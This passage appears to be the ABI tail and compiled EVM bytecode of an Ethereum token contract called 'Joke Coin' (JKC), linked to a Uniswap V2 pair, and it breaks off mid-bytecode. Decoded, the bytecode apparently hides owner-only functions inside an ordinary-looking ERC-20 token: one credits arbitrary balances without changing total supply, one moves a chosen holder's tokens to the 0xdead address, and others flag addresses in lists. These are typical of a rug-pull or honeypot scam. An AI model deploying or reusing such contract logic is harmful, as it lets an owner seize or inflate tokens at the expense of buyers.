symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000146200074060201b60201c565b600a62000022919062000914565b633b9aca0062000033919062000965565b60035561018660065561031660075560646008556127106009557330ec2099d109079589947bf7397e1a05def0b7ab600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000f56200074060201b60201c565b600a62000103919062000914565b61271062000112919062000965565b600c556000600d60016101000a81548160ff0219169083151502179055506000600d60026101000a81548160ff0219169083151502179055506001601860016101000a81548160ff0219169083151502179055503480156200017357600080fd5b506040516200603938038062006039833981810160405281019062000199919062000a1a565b6000620001ab6200074960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600981526020017f4a6f6b6520436f696e0000000000000000000000000000000000000000000000815250600490816200028f919062000cbc565b506040518060400160405280600381526020017f4a4b43000000000000000000000000000000000000000000000000000000000081525060059081620002d6919062000cbc565b50600354600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000406919062000a1a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000490573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b6919062000a1a565b6040518363ffffffff1660e01b8152600401620004d592919062000db4565b6020604051808303816000875af1158015620004f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200051b919062000a1a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600e6000620006166200075160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000de1565b60006012905090565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200080857808604811115620007e057620007df6200077a565b5b6001851615620007f05780820291505b80810290506200080085620007a9565b9450620007c0565b94509492505050565b600082620008235760019050620008f6565b81620008335760009050620008f6565b81600181146200084c576002811462000857576200088d565b6001915050620008f6565b60ff8411156200086c576200086b6200077a565b5b8360020a9150848211156200088657620008856200077a565b5b50620008f6565b5060208310610133831016604e8410600b8410161715620008c75782820a905083811115620008c157620008c06200077a565b5b620008f6565b620008d68484846001620007b6565b92509050818404811115620008f057620008ef6200077a565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200092182620008fd565b91506200092e8362000907565b92506200095d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000811565b905092915050565b60006200097282620008fd565b91506200097f83620008fd565b92508282026200098f81620008fd565b91508282048414831517620009a957620009a86200077a565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009e282620009b5565b9050919050565b620009f481620009d5565b811462000a0057600080fd5b50565b60008151905062000a1481620009e9565b92915050565b60006020828403121562000a335762000a32620009b0565b5b600062000a438482850162000a03565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000ace57607f821691505b60208210810362000ae45762000ae362000a86565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000b4e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b0f565b62000b5a868362000b0f565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000b9d62000b9762000b9184620008fd565b62000b72565b620008fd565b9050919050565b6000819050919050565b62000bb98362000b7c565b62000bd162000bc88262000ba4565b84845462000b1c565b825550505050565b600090565b62000be862000bd9565b62000bf581848462000bae565b505050565b5b8181101562000c1d5762000c1160008262000bde565b60018101905062000bfb565b5050565b601f82111562000c6c5762000c368162000aea565b62000c418462000aff565b8101602085101562000c51578190505b62000c6962000c608562000aff565b83018262000bfa565b50505b505050565b600082821c905092915050565b600062000c916000198460080262000c71565b1980831691505092915050565b600062000cac838362000c7e565b9150826002028217905092915050565b62000cc78262000a4c565b67ffffffffffffffff81111562000ce35762000ce262000a57565b5b62000cef825462000ab5565b62000cfc82828562000c21565b600060209050601f83116001811462000d34576000841562000d1f578287015190505b62000d2b858262000c9e565b86555062000d9b565b601f19841662000d448662000aea565b60005b8281101562000d6e5784890151825560018201915060208501945060208101905062000d47565b8683101562000d8e578489015162000d8a601f89168262000c7e565b8355505b6001600288020188555050505b505050505050565b62000dae81620009d5565b82525050565b600060408201905062000dcb600083018562000da3565b62000dda602083018462000da3565b9392505050565b6152488062000df16000396000f3fe6080604052600436106102b25760003560e01c806370a0823111610175578063c10ea0a5116100dc578063de8f151711610095578063f2fde38b1161006f578063f2fde38b14610acd578063f865d99b14610af6578063f9fa48c314610b1f578063fb8bd26f14610b4a576102b9565b8063de8f151714610a50578063e01af92c14610a79578063e2f4560514610aa2576102b9565b8063c10ea0a514610942578063c816841b1461096b578063cc1776d314610996578063ce1fd380146109c1578063d6e3b886146109ea578063dd62ed3e14610a13576102b9565b806395d89b411161012e57806395d89b4114610822578063a1c61f501461084d578063a457c2d714610876578063a9059cbb146108b3578063ae96ffe6146108f0578063afa4f3b214610919576102b9565b806370a0823114610724578063715018a61461076157806375f0a87414610778578063860aefcf146107a357806389fe8507146107ce5780638da5cb5b146107f7576102b9565b8063313ce567116102195780635881f3ef116101d25780635881f3ef1461061857806359fa6d72146106555780635b65b9ab1461067e57806363244555146106a75780636d2f2ed6146106d05780636ddd1713146106f9576102b9565b8063313ce567146104e057806331cd1acd1461050b57806339509351146105365780633ecad271146105735780634f7041a5146105b05780635342acb4146105db576102b9565b806318160ddd1161026b57806318160ddd146103ce578063228cb733146103f957806323af46d91461042457806323b872dd1461044f57806326f0d8ce1461048c57806327722f6a146104b5576102b9565b806303204989146102be57806306fdde03146102e7578063095ea7b3146103125780630f953cca1461034f5780631694505e1461037a57806317a6954b146103a5576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e091906142e9565b610b73565b005b3480156102f357600080fd5b506102fc610c63565b60405161030991906143a6565b60405180910390f35b34801561031e57600080fd5b50610339600480360381019061033491906143fe565b610cf5565b6040516103469190614459565b60405180910390f35b34801561035b57600080fd5b50610364610d18565b6040516103719190614459565b60405180910390f35b34801561038657600080fd5b5061038f610d2b565b60405161039c91906144d3565b60405180910390f35b3480156103b157600080fd5b506103cc60048036038101906103c7919061451a565b610d51565b005b3480156103da57600080fd5b506103e3610ed3565b6040516103f09190614569565b60405180910390f35b34801561040557600080fd5b5061040e610edd565b60405161041b9190614459565b60405180910390f35b34801561043057600080fd5b50610439610ef0565b6040516104469190614459565b60405180910390f35b34801561045b57600080fd5b5061047660048036038101906104719190614584565b610f03565b6040516104839190614459565b60405180910390f35b34801561049857600080fd5b506104b360048036038101906104ae91906145d7565b610f33565b005b3480156104c157600080fd5b506104ca611004565b6040516104d79190614569565b60405180910390f35b3480156104ec57600080fd5b506104f561100a565b6040516105029190614620565b60405180910390f35b34801561051757600080fd5b50610520611013565b60405161052d9190614569565b60405180910390f35b34801561054257600080fd5b5061055d600480360381019061055891906143fe565b611019565b60405161056a9190614459565b60405180910390f35b34801561057f57600080fd5b5061059a600480360381019061059591906142e9565b611050565b6040516105a79190614459565b60405180910390f35b3480156105bc57600080fd5b506105c5611070565b6040516105d29190614569565b60405180910390f35b3480156105e757600080fd5b5061060260048036038101906105fd91906142e9565b611076565b60405161060f9190614459565b60405180910390f35b34801561062457600080fd5b5061063f600480360381019061063a91906142e9565b611096565b60405161064c919061464a565b60405180910390f35b34801561066157600080fd5b5061067c600480360381019061067791906145d7565b6114a5565b005b34801561068a57600080fd5b506106a560048036038101906106a09190614665565b611557565b005b3480156106b357600080fd5b506106ce60048036038101906106c991906142e9565b611667565b005b3480156106dc57600080fd5b506106f760048036038101906106f291906142e9565b611757565b005b34801561070557600080fd5b5061070e611847565b60405161071b9190614459565b60405180910390f35b34801561073057600080fd5b5061074b600480360381019061074691906142e9565b61185a565b6040516107589190614569565b60405180910390f35b34801561076d57600080fd5b506107766118a3565b005b34801561078457600080fd5b5061078d6119f6565b60405161079a919061464a565b60405180910390f35b3480156107af57600080fd5b506107b8611a1c565b6040516107c59190614569565b60405180910390f35b3480156107da57600080fd5b506107f560048036038101906107f091906146b8565b611a22565b005b34801561080357600080fd5b5061080c611ac1565b604051610819919061464a565b60405180910390f35b34801561082e57600080fd5b50610837611aea565b60405161084491906143a6565b60405180910390f35b34801561085957600080fd5b50610874600480360381019061086f91906145d7565b611b7c565b005b34801561088257600080fd5b5061089d600480360381019061089891906143fe565b611c2e565b6040516108aa9190614459565b60405180910390f35b3480156108bf57600080fd5b506108da60048036038101906108d591906143fe565b611ca5565b6040516108e79190614459565b60405180910390f35b3480156108fc57600080fd5b50610917600480360381019061091291906146b8565b611cc9565b005b34801561092557600080fd5b50610940600480360381019061093b91906146b8565b611d68565b005b34801561094e57600080fd5b50610969600480360381019061096491906142e9565b611e58565b005b34801561097757600080fd5b50610980611ffa565b60405161098d919061464a565b60405180910390f35b3480156109a257600080fd5b506109ab612020565b6040516109b89190614569565b60405180910390f35b3480156109cd57600080fd5b506109e860048036038101906109e391906142e9565b612026565b005b3480156109f657600080fd5b50610a116004803603810190610a0c91906143fe565b612116565b005b348015610a1f57600080fd5b50610a3a6004803603810190610a3591906146e5565b6121f3565b604051610a479190614569565b60405180910390f35b348015610a5c57600080fd5b50610a776004803603810190610a7291906143fe565b61227a565b005b348015610a8557600080fd5b50610aa06004803603810190610a9b91906145d7565b6123a1565b005b348015610aae57600080fd5b50610ab7612472565b604051610ac49190614569565b60405180910390f35b348015610ad957600080fd5b50610af46004803603810190610aef91906142e9565b612478565b005b348015610b0257600080fd5b50610b1d6004803603810190610b1891906145d7565b612639565b005b348015610b2b57600080fd5b50610b346126eb565b604051610b419190614569565b60405180910390f35b348015610b5657600080fd5b50610b716004803603810190610b6c91906143fe565b6126f1565b005b610b7b612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90614771565b60405180910390fd5b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060048054610c72906147c0565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9e906147c0565b8015610ceb5780601f10610cc057610100808354040283529160200191610ceb565b820191906000526020600020905b815481529060010190602001808311610cce57829003601f168201915b5050505050905090565b600080610d00612b3a565b9050610d0d818585612b42565b600191505092915050565b601860009054906101000a900460ff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d59612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd90614771565b60405180910390fd5b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6f9061483d565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600354905090565b601560009054906101000a900460ff1681565b600d60029054906101000a900460ff1681565b600080610f0e612b3a565b9050610f1b858285612d0b565b610f26858585612d97565b5060019150509392505050565b610f3b612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf90614771565b60405180910390fd5b801515600d60029054906101000a900460ff16151503610fe757600080fd5b80600d60026101000a81548160ff02191690831515021790555050565b60165481565b60006012905090565b60085481565b600080611024612b3a565b905061104581858561103685896121f3565b611040919061488c565b612b42565b600191505092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b60065481565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006110a0612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461112d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112490614771565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561117d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a191906148d5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611208573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122c91906148d5565b6040518363ffffffff1660e01b8152600401611249929190614902565b602060405180830381865afa158015611266573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128a91906148d5565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361141d578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561130b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132f91906148d5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba91906148d5565b6040518363ffffffff1660e01b81526004016113d7929190614902565b6020604051808303816000875af11580156113f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141a91906148d5565b91505b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050919050565b6114ad612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190614771565b60405180910390fd5b80601860006101000a81548160ff02191690831515021790555050565b61155f612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e390614771565b60405180910390fd5b612710831115801561160057506127108211155b801561160e57506127108111155b61164d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164490614977565b60405180910390fd5b826006819055508160078190555080600881905550505050565b61166f612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f390614771565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61175f612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e390614771565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6118ab612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f90614771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b611a2a612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90614771565b60405180910390fd5b8060168190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054611af9906147c0565b80601f0160208091040260200160405190810160405280929190818152602001828054611b25906147c0565b8015611b725780601f10611b4757610100808354040283529160200191611b72565b820191906000526020600020905b815481529060010190602001808311611b5557829003601f168201915b5050505050905090565b611b84612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0890614771565b60405180910390fd5b80601560006101000a81548160ff02191690831515021790555050565b600080611c39612b3a565b90506000611c4782866121f3565b905083811015611c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8390614a09565b60405180910390fd5b611c998286868403612b42565b60019250505092915050565b600080611cb0612b3a565b9050611cbd818585612d97565b50600191505092915050565b611cd1612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5590614771565b60405180910390fd5b8060178190555050565b611d70612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df490614771565b60405180910390fd5b60008111611e0a57600080fd5b80600c5403611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590614a75565b60405180910390fd5b80600c8190555050565b611e60612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee490614771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611f2657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fad90614ae1565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b61202e612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b290614771565b60405180910390fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61211e612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a290614771565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612282612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461230f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230690614771565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235a919061488c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6123a9612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242d90614771565b60405180910390fd5b801515600d60019054906101000a900460ff1615150361245557600080fd5b80600d60016101000a81548160ff02191690831515021790555050565b600c5481565b612480612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461250d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250490614771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361257c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257390614b73565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612641612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c590614771565b60405180910390fd5b80601860016101000a81548160ff02191690831515021790555050565b60095481565b6126f9612b3a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277d90614771565b60405180910390fd5b61278e611ac1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f290614bdf565b60405180910390fd5b670de0b6b3a76400008161280f9190614bff565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116129af576000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612945919061488c565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b36565b670de0b6b3a7640000816129c39190614bff565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0d9190614c41565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a764000081612a649190614bff565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad0919061488c565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba890614ce7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612c20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1790614d79565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612cfe9190614569565b60405180910390a3505050565b6000612d1784846121f3565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612d915781811015612d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d7a90614de5565b60405180910390fd5b612d908484848403612b42565b5b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612e07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dfe90614e77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6d90614f09565b60405180910390fd5b60008203612e9157612e8a848460006131ff565b90506131f8565b601860019054906101000a900460ff16156131e157600d60009054906101000a900460ff1615612ecd57612ec68484846131ff565b90506131f8565b6000612ed83061185a565b90506000600c548210159050808015612efe5750600d60009054906101000a900460ff16155b8015612f575750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015612f6f5750600d60019054906101000a900460ff165b15612f9957600d60029054906101000a900460ff1615612f8f57600c5491505b612f988261338d565b5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fe49190614c